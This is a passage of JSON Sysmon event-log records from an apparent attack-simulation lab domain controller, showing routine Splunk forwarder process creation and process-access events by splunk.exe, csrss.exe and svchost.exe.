{90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.666","ProcessGuid":"{90617006-3FE6-5F2D-0000-00104F1F0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" check --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1782,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-00104F1F0300}\r\nTargetProcessId: 3744\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1815e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-00104F1F0300}","TargetProcessId":"3744","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1815e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1783,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-00104F1F0300}\r\nTargetProcessId: 3744\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-00104F1F0300}","TargetProcessId":"3744","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1784,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1785,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1786,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1787,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1788,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1789,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 